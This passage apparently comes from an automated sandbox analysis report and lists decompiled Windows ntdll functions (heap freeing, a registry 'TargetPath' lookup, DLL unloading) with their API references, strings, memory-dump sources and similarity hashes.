					if( *(_t62 + 0xc) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *((intOrPtr*)(_t133 + 0xc)));
					_push( *((intOrPtr*)(_t133 + 0x14)));
					_push(_t129);
					E6A91B150("ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t122);
					_t65 = 0;
					L13:
					return _t65;
				}
				_t71 = E6A937D50();
				_t124 = 0x7ffe0380;
				if(_t71 != 0) {
					_t74 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t74 = 0x7ffe0380;
				}
				if( *_t74 != 0) {
					_t75 =  *[fs:0x30];
					__eflags =  *(_t75 + 0x240) & 0x00000001;
					if(( *(_t75 + 0x240) & 0x00000001) != 0) {
						E6A9D138A(_t129,  *((intOrPtr*)(_t133 + 0x10)),  *((intOrPtr*)(_t133 + 0x10)), 8);
					}
				}
				 *((intOrPtr*)(_t129 + 0x230)) =  *((intOrPtr*)(_t129 + 0x230)) - 1;
				 *((intOrPtr*)(_t129 + 0x234)) =  *((intOrPtr*)(_t129 + 0x234)) -  *((intOrPtr*)(_t133 + 0xc));
				if(E6A937D50() != 0) {
					_t80 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				} else {
					_t80 = _t124;
				}
				if( *_t80 != 0) {
					_t81 =  *[fs:0x30];
					__eflags =  *(_t81 + 0x240) & 0x00000001;
					if(( *(_t81 + 0x240) & 0x00000001) != 0) {
						__eflags = E6A937D50();
						if(__eflags != 0) {
							_t124 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						E6A9D1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t124 & 0x000000ff);
					}
				}
				_t82 = E6A937D50();
				_t125 = 0x7ffe038a;
				if(_t82 != 0) {
					_t85 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
				} else {
					_t85 = 0x7ffe038a;
				}
				if( *_t85 != 0) {
					__eflags = E6A937D50();
					if(__eflags != 0) {
						_t125 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
						__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
					}
					E6A9D1582(_t103, _t129,  *((intOrPtr*)(_t133 + 0x10)), __eflags,  *((intOrPtr*)(_t133 + 0x14)),  *(_t129 + 0x74) << 3,  *_t125 & 0x000000ff);
				}
				 *((intOrPtr*)(_t129 + 0x20c)) =  *((intOrPtr*)(_t129 + 0x20c)) + 1;
				_t91 =  *(_t103 + 2);
				if((_t91 & 0x00000004) != 0) {
					E6A96D5E0( *((intOrPtr*)(_t133 + 0x18)),  *((intOrPtr*)(_t133 + 0x10)), 0xfeeefeee);
					_t91 =  *(_t103 + 2);
				}
				 *(_t103 + 2) = _t91 & 0x00000017;
				_t65 = 1;
				goto L13;
			}

0x6a93a229
0x6a93a231
0x6a93a23f
0x6a93a242
0x6a93a244
0x6a93a24c
0x6a93a255
0x6a93a25a
0x6a93a25f
0x6a981c76
0x6a981c78
0x6a981c7e
0x6a981c7f
0x6a981c81
0x6a981c82
0x6a981c84
0x6a981c89
0x6a981c8b
0x6a981c9e
0x6a981c9e
0x6a981cab
0x6a981cb2
0x00000000
0x6a981cb2
0x6a981c8d
0x6a981c92
0x00000000
0x00000000
0x6a981c94
0x6a981c98
0x00000000
0x00000000
0x00000000
0x6a981c98
0x6a93a265
0x6a93a265
0x6a93a266
0x6a93a26f
0x6a93a270
0x6a93a276
0x6a93a277
0x6a93a279
0x6a93a27e
0x6a93a282
0x6a981db5
0x6a981dbb
0x6a981dc1
0x6a981dc5
0x6a981de4
0x6a981de9
0x6a981dc7
0x6a981ddc
0x6a981de1
0x6a981def
0x6a981df3
0x6a981df7
0x6a981dfe
0x6a981e06
0x6a93a302
0x6a93a308
0x6a93a308
0x6a93a288
0x6a93a28d
0x6a93a294
0x6a981cc1
0x6a93a29a
0x6a93a29a
0x6a93a29a
0x6a93a29f
0x6a981ccb
0x6a981cd1
0x6a981cd8
0x6a981cea
0x6a981cea
0x6a981cd8
0x6a93a2a9
0x6a93a2af
0x6a93a2bc
0x6a981cfd
0x6a93a2c2
0x6a93a2c2
0x6a93a2c2
0x6a93a2c7
0x6a981d07
0x6a981d0d
0x6a981d14
0x6a981d1f
0x6a981d21
0x6a981d2c
0x6a981d2c
0x6a981d2c
0x6a981d47
0x6a981d47
0x6a981d14
0x6a93a2cd
0x6a93a2d2
0x6a93a2d9
0x6a981d5a
0x6a93a2df
0x6a93a2df
0x6a93a2df
0x6a93a2e4
0x6a981d69
0x6a981d6b
0x6a981d76
0x6a981d76
0x6a981d76
0x6a981d91
0x6a981d91
0x6a93a2ea
0x6a93a2f0
0x6a93a2f5
0x6a981da8
0x6a981dad
0x6a981dad
0x6a93a2fd
0x6a93a300
0x00000000

APIs

ZwAllocateVirtualMemory.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6A93A279

Part of subcall function 6A959660: LdrInitializeThunk.NTDLL(6A9A18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6A9F0810,0000001C,6A9A1616), ref: 6A95966A

RtlGetCurrentServiceSessionId.1105(000000FF,00000014,00000000,?,00001000,0000003C,000000FF,?,00000003,00000014,00000014), ref: 6A93A288
RtlGetCurrentServiceSessionId.1105 ref: 6A93A2B5
RtlGetCurrentServiceSessionId.1105 ref: 6A93A2CD
ZwQueryVirtualMemory.1105(000000FF,?,00000003,00000014,00000014,00000000,?,?,?,-00000018,?,?,?,?,6A9D4C8F), ref: 6A981C84
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6A981DDC
DbgPrint.1105(ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix),00000000,?,?,?), ref: 6A981DFE

Strings

HEAP: , xrefs: 6A981DE4
`, xrefs: 6A981C8D
HEAP[%wZ]: , xrefs: 6A981DD7
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6A981DF9

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$MemoryPrintVirtual$AllocateInitializeQueryThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 1108326835-2586055223
Opcode ID: 27ba69b839c6289e9a5296fb722f0c0fdaa96765d97293d08258da0ceec257a5
Instruction ID: 7aa43533555f8cd8f8968dde04a8de78374f8a06f6ecec12f061e58426d67467
Opcode Fuzzy Hash: 27ba69b839c6289e9a5296fb722f0c0fdaa96765d97293d08258da0ceec257a5
Instruction Fuzzy Hash: A3510472208680AFD711CB68C848F2777F8EF82754F364868F4718B292DF25D840C761

Uniqueness

Uniqueness Score: -1.00%

Function 6A916F60, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 235
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A916F60(WCHAR* _a4, WCHAR* _a8, void* _a12, signed int _a16, void* _a20, unsigned int _a24, int* _a28) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				char _v32;
				void* _v36;
				void* _v44;
				long _v48;
				char _v52;
				char _v56;
				char _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				int _v80;
				signed int _t72;
				signed int _t81;
				WCHAR* _t88;
				int* _t96;
				void _t100;
				void _t106;
				void* _t107;
				int* _t108;
				long _t111;
				unsigned int _t113;
				unsigned int _t115;
				int _t117;
				void* _t118;
				intOrPtr* _t121;
				void* _t123;
				int _t126;
				void* _t127;
				void* _t128;
				void* _t131;
				signed int _t134;
				long _t136;
				void* _t137;
				signed int _t138;

				_t72 = _a16;
				_t111 = 0;
				_v44 = 0;
				_v52 = 0;
				_v48 = 0;
				_t131 = 0;
				if(_t72 != 0) {
					if(_t72 == 1) {
						goto L1;
					}
					_t81 = 0xc00000f1;
					L14:
					return _t81;
				}
				L1:
				_v28 = 0x18;
				_v20 = 0x6a8f16a8 + _t72 * 8;
				_push( &_v28);
				_push(0x20019);
				_v24 = _t111;
				_push( &_v52);
				_v16 = 0x40;
				_v12 = _t111;
				_v8 = _t111;
				_t134 = E6A959600();
				if(_t134 != 0xc0000034) {
					if(_t134 < 0) {
						L10:
						if(_v52 != 0) {
							_push(_v52);
							E6A9595D0();
						}
						if(_v48 != 0) {
							_push(_v48);
							E6A9595D0();
						}
						if(_t131 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t111, _t131);
						}
						_t81 = _t134;
						goto L14;
					}
					RtlInitUnicodeString( &_v36, _a4);
					_v32 = _v60;
					_v28 =  &_v44;
					_push( &_v36);
					_push(0x20019);
					_v36 = 0x18;
					_push( &_v56);
					_v24 = 0x40;
					_v20 = _t111;
					_v16 = _t111;
					_t134 = E6A959600();
					if(_t134 == 0xc0000034) {
						goto L2;
					}
					L20:
					if(_t134 < 0) {
						goto L10;
					}
					_t88 = _a8;
					if(_t88 == 0) {
						_t88 = L"TargetPath";
					}
					RtlInitUnicodeString( &_v44, _t88);
					_t113 = _a24;
					_t136 = _t113 + 0x10;
					if(_t136 >= _t113) {
						_t131 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t136);
						if(_t131 != 0) {
							_push( &_v80);
							_push(_t136);
							_push(_t131);
							_push(2);
							_push( &_v60);
							_push(_v72);
							_t134 = E6A959650();
							if(_t134 < 0) {
								if(_t134 != 0x80000005) {
									goto L51;
								}
								L32:
								_t117 =  *(_t131 + 8);
								_t49 = _t131 + 0xc; // 0xc
								_t128 = _t49;
								_v80 = _t117;
								if(_t134 < 0) {
									L47:
									_t96 = _a28;
									if(_t96 != 0) {
										 *_t96 = _t117;
									}
									if(_t134 >= 0) {
										memcpy(_a20, _t128, _t117);
									}
									goto L51;
								}
								_t115 = _a24;
								if( *((intOrPtr*)(_t128 + (_t117 >> 1) * 2 - 2)) != 0) {
									_t117 = _t117 + 2;
									_v80 = _t117;
									if(_t115 < _t117) {
										_t134 = 0x80000005;
									} else {
										 *((short*)(_t128 + (_t117 >> 1) * 2 - 2)) = 0;
										_t117 = _v80;
									}
								}
								if(_t134 < 0 ||  *((intOrPtr*)(_t131 + 4)) != 2) {
									goto L47;
								} else {
									_t118 = _t128;
									_t61 = _t118 + 2; // 0xe
									_t137 = _t61;
									do {
										_t100 =  *_t118;
										_t118 = _t118 + 2;
									} while (_t100 != _v68);
									_t111 = 0;
									_t134 = E6A942440(0, _t128, _t118 - _t137 >> 1, _a20, _t115 >> 1,  &_v64);
									if(_t134 >= 0 || _t134 == 0xc0000023) {
										_t121 = _a28;
										if(_t121 != 0) {
											 *_t121 = _v64 + _v64;
										}
										if(_t134 == 0xc0000023) {
											_t134 = 0x80000005;
										}
									}
									goto L10;
								}
							}
							if( *((intOrPtr*)(_t131 + 4)) == 1 ||  *((intOrPtr*)(_t131 + 4)) == 2) {
								goto L32;
							} else {
								_t134 = 0xc0000024;
								goto L51;
							}
						}
						_t134 = 0xc0000017;
						goto L51;
					} else {
						_t134 = 0xc0000095;
						L51:
						_t111 = 0;
						goto L10;
					}
				}
				L2:
				_t127 = _a12;
				if(_t127 == 0) {
					goto L20;
				} else {
					_t123 = _t127;
					_t138 = _t123 + 2;
					goto L4;
					L4:
					_t106 =  *_t123;
					_t123 = _t123 + 2;
					if(_t106 != _t111) {
						goto L4;
					} else {
						_t107 = (_t123 - _t138 >> 1) + 1;
						_t126 = _t107 + _t107;
						_v64 = _t126;
						if(_t126 < _t107) {
							_t134 = 0xc0000095;
						} else {
							_t108 = _a28;
							asm("sbb esi, esi");
							_t134 = _t138 & 0x80000005;
							if(_t108 != 0) {
								 *_t108 = _t126;
							}
							if(_t126 <= _a24) {
								memcpy(_a20, _t127, _t126);
							}
						}
						goto L10;
					}
				}
			}

0x6a916f6b
0x6a916f6f
0x6a916f71
0x6a916f75
0x6a916f79
0x6a916f7f
0x6a916f83
0x6a9720d3
0x00000000
0x00000000
0x6a9720d9
0x6a917045
0x6a91704b
0x6a91704b
0x6a916f89
0x6a916f90
0x6a916f98
0x6a916fa0
0x6a916fa1
0x6a916faa
0x6a916fae
0x6a916faf
0x6a916fb7
0x6a916fbb
0x6a916fc4
0x6a916fcc
0x6a9720e5
0x6a917025
0x6a91702a
0x6a9722a1
0x6a9722a5
0x6a9722a5
0x6a917035
0x6a9722af
0x6a9722b3
0x6a9722b3
0x6a91703d
0x6a9722c8
0x6a9722c8
0x6a917043
0x00000000
0x6a917043
0x6a9720f3
0x6a9720fc
0x6a972104
0x6a97210c
0x6a97210d
0x6a972116
0x6a97211e
0x6a97211f
0x6a972127
0x6a97212b
0x6a972134
0x6a97213c
0x00000000
0x00000000
0x6a972142
0x6a972144
0x00000000
0x00000000
0x6a97214a
0x6a97214f
0x6a972151
0x6a972151
0x6a97215c
0x6a972161
0x6a972164
0x6a972169
0x6a972187
0x6a97218b
0x6a97219b
0x6a97219c
0x6a97219d
0x6a97219e
0x6a9721a4
0x6a9721a5
0x6a9721ae
0x6a9721b2
0x6a9721d0
0x00000000
0x00000000
0x6a9721d6
0x6a9721d6
0x6a9721d9
0x6a9721d9
0x6a9721dc
0x6a9721e2
0x6a972280
0x6a972280
0x6a972285
0x6a972287
0x6a972287
0x6a97228b
0x6a972292
0x6a972297
0x00000000
0x6a97228b
0x6a9721f3
0x6a9721f6
0x6a9721f8
0x6a9721fb
0x6a972201
0x6a972212
0x6a972203
0x6a972207
0x6a97220c
0x6a97220c
0x6a972201
0x6a972219
0x00000000
0x6a972221
0x6a972221
0x6a972223
0x6a972223
0x6a972226
0x6a972226
0x6a972229
0x6a97222c
0x6a972240
0x6a97224c
0x6a972255
0x6a97225f
0x6a972264
0x6a97226c
0x6a97226c
0x6a972270
0x6a972276
0x6a972276
0x6a972270
0x00000000
0x6a972255
0x6a972219
0x6a9721b8
0x00000000
0x6a9721c0
0x6a9721c0
0x00000000
0x6a9721c0
0x6a9721b8
0x6a97218d
0x00000000
0x6a97216b
0x6a97216b
0x6a97229a
0x6a97229a
0x00000000
0x6a97229a
0x6a972169
0x6a916fd2
0x6a916fd2
0x6a916fd7
0x00000000
0x6a916fdd
0x6a916fdd
0x6a916fdf
0x6a916fdf
0x6a916fe2
0x6a916fe2
0x6a916fe5
0x6a916feb
0x00000000
0x6a916fed
0x6a916ff1
0x6a916ff4
0x6a916ff7
0x6a916ffd
0x6a91704e
0x6a916fff
0x6a917002
0x6a917005
0x6a917007
0x6a91700f
0x6a917011
0x6a917011
0x6a917016
0x6a91701d
0x6a917022
0x6a917016
0x00000000
0x6a916ffd
0x6a916feb

APIs

ZwOpenKey.1105(?,?,?,?,00020019,00000018), ref: 6A916FBF

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

memcpy.1105(?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6A91701D
RtlInitUnicodeString.1105(?,?,?,?,?,?,00020019,00000018), ref: 6A9720F3
ZwOpenKey.1105(?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6A97212F
RtlInitUnicodeString.1105(?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6A97215C
RtlAllocateHeap.1105(?,00000000,?,?,?,?,00020019,00000018,?,?,?,?,?,?,00020019,00000018), ref: 6A972182
ZwClose.1105(00000000,?,?,?,?,00020019,00000018), ref: 6A9722A5

Strings

@, xrefs: 6A97211F
TargetPath, xrefs: 6A972151, 6A972156

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode$AllocateCloseHeapInitializeThunkmemcpy
String ID: @$TargetPath
API String ID: 1135747570-4164548946
Opcode ID: 40c4adf956f0fb05c85ddff6fcd3eae2d422785a8d88859c3c5a077f73d29105
Instruction ID: fe1823d43ebf8fda1e74c27fec058a794e53f8fa55f10477261a8a0cffcb4a4d
Opcode Fuzzy Hash: 40c4adf956f0fb05c85ddff6fcd3eae2d422785a8d88859c3c5a077f73d29105
Instruction Fuzzy Hash: C381E17291831AAFD724CF28C884A5BB7B8FF84714F22456DE95597210EB31DC45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A91F51D, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185
librarymemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6A91F51D(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t54;
				intOrPtr _t63;
				intOrPtr _t76;
				signed int _t77;
				signed int _t86;
				void* _t88;
				signed int _t89;
				void* _t90;
				intOrPtr* _t91;
				intOrPtr _t92;
				intOrPtr* _t93;
				void* _t94;
				void* _t95;
				signed int _t101;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;
				void* _t110;
				intOrPtr* _t111;
				void* _t112;
				void* _t113;
				intOrPtr* _t115;
				void* _t116;
				signed int _t117;
				signed int _t118;
				signed int _t120;

				_t106 = __edx;
				_t93 = __ecx;
				_t120 = (_t118 & 0xfffffff8) - 0x14;
				_v8 =  *0x6aa0d360 ^ _t120;
				_t115 = __ecx;
				_v24 =  *[fs:0x30];
				_t88 = 0;
				_v16 = __ecx;
				_push(_t108);
				if( *((intOrPtr*)(__ecx + 0x20)) == 0xfffffffc) {
					L3:
					 *(_t115 + 0x20) =  *(_t115 + 0x20) | 0xffffffff;
					E6A920225(_t88, _t93, _t108, _t115,  *(_t115 + 0x20));
					L4:
					if( *0x6aa08472 != _t88) {
						_t106 =  *0x7ffe0330;
						_t89 =  *0x6aa0b210; // 0x0
						_t94 = 0x20;
						_t93 = _t94 - (_t106 & 0x0000001f);
						asm("ror ebx, cl");
						_t88 = _t89 ^ _t106;
					}
					L6A92EEF0(0x6aa052d8);
					_t54 =  *_t115;
					while(1) {
						_v20 = _t54;
						if(_t54 == _t115) {
							break;
						}
						_t22 = _t54 - 0x54; // -84
						_t109 = _t22;
						__eflags =  *(_t109 + 0x34) & 0x00000008;
						if(( *(_t109 + 0x34) & 0x00000008) != 0) {
							_push(_t93);
							_t106 = 2;
							E6A928B80(_t109, _t106);
							__eflags = _t88;
							if(_t88 != 0) {
								 *0x6aa0b1e0(_t109);
								 *_t88();
							}
							_t93 = _t109;
							E6A928800(_t93, 1);
							_t63 = _v32;
							__eflags =  *(_t63 + 0x68) & 0x00000100;
							if(( *(_t63 + 0x68) & 0x00000100) != 0) {
								_t93 = _t109;
								E6A99EA20(_t93);
							}
						}
						__eflags =  *0x6aa05780 & 0x00000005;
						if(__eflags != 0) {
							_t46 = _t109 + 0x24; // -48
							E6A995510("minkernel\\ntdll\\ldrsnap.c", 0xc5e, "LdrpUnloadNode", 2, "Unmapping DLL \"%wZ\"\n", _t46);
							_t120 = _t120 + 0x18;
						}
						_push(0);
						_push( *((intOrPtr*)(_t109 + 0x18)));
						E6A920100(_t88, _t93, _t109, _t115, __eflags);
						_t54 =  *_v28;
					}
					_t65 = E6A92EB70(_t93, 0x6aa052d8);
					while(1) {
						L8:
						_t95 =  *(_t115 + 0x18);
						if(_t95 == 0) {
							break;
						}
						_t110 =  *_t95;
						__eflags = _t110 - _t95;
						if(_t110 != _t95) {
							_t65 =  *_t110;
							 *_t95 =  *_t110;
						} else {
							_t34 = _t115 + 0x18;
							 *_t34 =  *(_t115 + 0x18) & 0x00000000;
							__eflags =  *_t34;
						}
						__eflags = _t110;
						if(_t110 == 0) {
							break;
						} else {
							E6A932280(_t65, 0x6aa084d8);
							_t92 =  *((intOrPtr*)(_t110 + 4));
							_t37 = _t110 + 8; // -76
							_t107 = _t37;
							_t101 =  *(_t92 + 0x1c);
							_t76 =  *_t101;
							_v28 = _t76;
							__eflags = _t76 - _t107;
							if(_t76 != _t107) {
								_t117 = _v24;
								do {
									_t77 =  *_t117;
									_t101 = _t117;
									_t117 = _t77;
									__eflags = _t77 - _t107;
								} while (_t77 != _t107);
								_t115 = _v16;
							}
							 *_t101 =  *_t107;
							__eflags =  *(_t92 + 0x1c) - _t107;
							if(__eflags == 0) {
								asm("sbb eax, eax");
								_t86 =  ~(_t101 - _t107) & _t101;
								__eflags = _t86;
								 *(_t92 + 0x1c) = _t86;
							}
							_t106 = 0;
							_push( &_v12);
							E6A92093F(_t92, _t92, 0, _t110, _t115, __eflags);
							E6A92FFB0(_t92, _t110, 0x6aa084d8);
							__eflags = _v20;
							if(_v20 != 0) {
								E6A91F51D(_t92, 0);
							}
							_t65 = RtlFreeHeap( *0x6aa07b98, 0, _t110);
							continue;
						}
					}
					_t111 =  *_t115;
					 *(_t115 + 0x20) = 0xfffffffe;
					if(_t111 == _t115) {
						L14:
						_pop(_t112);
						_pop(_t116);
						_pop(_t90);
						return E6A95B640(_t65, _t90, _v8 ^ _t120, _t106, _t112, _t116);
					} else {
						goto L10;
					}
					do {
						L10:
						_t91 =  *_t111;
						_t113 = _t111 + 0xffffffac;
						 *(_t113 + 0x34) =  *(_t113 + 0x34) | 0x00000002;
						E6A932280(_t65, 0x6aa084d8);
						E6A92008A(_t113, _t115);
						if(( *(_t113 + 0x34) & 0x00000080) != 0) {
							_t17 = _t113 + 0x74; // -140
							L6A91F900(0x6aa085fc, _t17);
							_t18 = _t113 + 0x68; // -152
							L6A91F900(0x6aa085f4, _t18);
							 *(_t113 + 0x20) =  *(_t113 + 0x20) & 0x00000000;
						}
						E6A92FFB0(_t91, _t113, 0x6aa084d8);
						if( *0x6aa07b94 != 0) {
							E6A950413(_t113);
						}
						_t65 = E6A92EC7F(_t113);
						_t111 = _t91;
					} while (_t91 != _t115);
					goto L14;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 7) {
					goto L4;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) != 9) {
					goto L8;
				}
				goto L3;
			}

0x6a91f51d
0x6a91f51d
0x6a91f525
0x6a91f52f
0x6a91f53b
0x6a91f53d
0x6a91f541
0x6a91f543
0x6a91f547
0x6a91f54c
0x6a91f55a
0x6a91f55a
0x6a91f55e
0x6a91f563
0x6a91f569
0x6a91f718
0x6a91f720
0x6a91f72b
0x6a91f72c
0x6a91f72e
0x6a91f730
0x6a91f730
0x6a91f574
0x6a91f579
0x6a91f57b
0x6a91f57b
0x6a91f581
0x00000000
0x00000000
0x6a91f61f
0x6a91f61f
0x6a91f622
0x6a91f626
0x6a91f628
0x6a91f62b
0x6a91f62e
0x6a91f633
0x6a91f635
0x6a91f73a
0x6a91f740
0x6a91f740
0x6a91f63d
0x6a91f63f
0x6a91f644
0x6a91f648
0x6a91f64f
0x6a975d11
0x6a975d13
0x6a975d13
0x6a91f64f
0x6a91f655
0x6a91f65c
0x6a975d1d
0x6a975d37
0x6a975d3c
0x6a975d3c
0x6a91f662
0x6a91f664
0x6a91f667
0x6a91f670
0x6a91f670
0x6a91f58c
0x6a91f591
0x6a91f591
0x6a91f591
0x6a91f596
0x00000000
0x00000000
0x6a91f677
0x6a91f679
0x6a91f67b
0x6a91f706
0x6a91f708
0x6a91f681
0x6a91f681
0x6a91f681
0x6a91f681
0x6a91f681
0x6a91f685
0x6a91f687
0x00000000
0x6a91f68d
0x6a91f692
0x6a91f697
0x6a91f69a
0x6a91f69a
0x6a91f69d
0x6a91f6a0
0x6a91f6a2
0x6a91f6a6
0x6a91f6a8
0x6a91f6f2
0x6a91f6f6
0x6a91f6f6
0x6a91f6f8
0x6a91f6fa
0x6a91f6fc
0x6a91f6fc
0x6a91f700
0x6a91f700
0x6a91f6ac
0x6a91f6ae
0x6a91f6b1
0x6a91f6b9
0x6a91f6bb
0x6a91f6bb
0x6a91f6bd
0x6a91f6bd
0x6a91f6c4
0x6a91f6c6
0x6a91f6c9
0x6a91f6d3
0x6a91f6d8
0x6a91f6dd
0x6a91f711
0x6a91f711
0x6a91f6e8
0x00000000
0x6a91f6e8
0x6a91f687
0x6a91f59c
0x6a91f59e
0x6a91f5a7
0x6a91f60d
0x6a91f611
0x6a91f612
0x6a91f613
0x6a91f61e
0x00000000
0x00000000
0x00000000
0x6a91f5a9
0x6a91f5a9
0x6a91f5a9
0x6a91f5ab
0x6a91f5b3
0x6a91f5b7
0x6a91f5be
0x6a91f5c7
0x6a91f5c9
0x6a91f5d2
0x6a91f5d7
0x6a91f5e0
0x6a91f5e5
0x6a91f5e5
0x6a91f5ee
0x6a91f5fa
0x6a975d46
0x6a975d46
0x6a91f602
0x6a91f607
0x6a91f609
0x00000000
0x6a91f5a9
0x6a91f552
0x00000000
0x00000000
0x6a91f558
0x00000000
0x00000000
0x00000000

APIs

RtlEnterCriticalSection.1105(6AA052D8), ref: 6A91F574
RtlLeaveCriticalSection.1105(6AA052D8,?,00000000,6AA052D8), ref: 6A91F58C
RtlAcquireSRWLockExclusive.1105 ref: 6A91F5B7
RtlRbRemoveNode.1105(6AA085FC,-0000008C), ref: 6A91F5D2
RtlRbRemoveNode.1105(6AA085F4,-00000098,6AA085FC,-0000008C), ref: 6A91F5E0
RtlReleaseSRWLockExclusive.1105(6AA084D8), ref: 6A91F5EE
LdrUnloadAlternateResourceModuleEx.1105(?,00000000,6AA052D8), ref: 6A91F667
RtlAcquireSRWLockExclusive.1105(6AA084D8,6AA052D8,?,00000000,6AA052D8), ref: 6A91F692
RtlReleaseSRWLockExclusive.1105(6AA084D8,?,6AA084D8,6AA052D8,?,00000000,6AA052D8), ref: 6A91F6D3
RtlFreeHeap.1105(00000000,-00000054,6AA084D8,?,6AA084D8,6AA052D8), ref: 6A91F6E8
RtlDebugPrintTimes.1105(-00000054,?,6AA052D8), ref: 6A91F73A

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 6A975D32
LdrpUnloadNode, xrefs: 6A975D28
Unmapping DLL "%wZ", xrefs: 6A975D21

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCriticalNodeReleaseRemoveSection$AlternateDebugEnterFreeHeapLeaveModulePrintResourceTimesUnload
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 2596885168-2283098728
Opcode ID: 6023ce6ec9705203aa1e1408e7739100d6d1612960af8f480911384fd5b5b1d3
Instruction ID: 7de62d08256b521eaef42a791792bc1456ea4843a24cc7772988dbbbc6d880e6
Opcode Fuzzy Hash: 6023ce6ec9705203aa1e1408e7739100d6d1612960af8f480911384fd5b5b1d3
Instruction Fuzzy Hash: CD51B27120870DAFDB14DE28C9C862A77A5BF9931CF314A2EE551872A6DF30EC458B91

Uniqueness

Uniqueness Score: -1.00%

Function 6A9152A5, Relevance: 24.2, APIs: 16, Instructions: 161
nativememoryfileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6A9152A5(char __ecx) {
				char _v20;
				void* _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v60;
				void* __ebx;
				void* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				void* _t102;
				void* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					L6A92EEF0(0x6aa079a0);
					_t104 =  *0x6aa08210;
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E6A92EB70(_t93, 0x6aa079a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E6A959890();
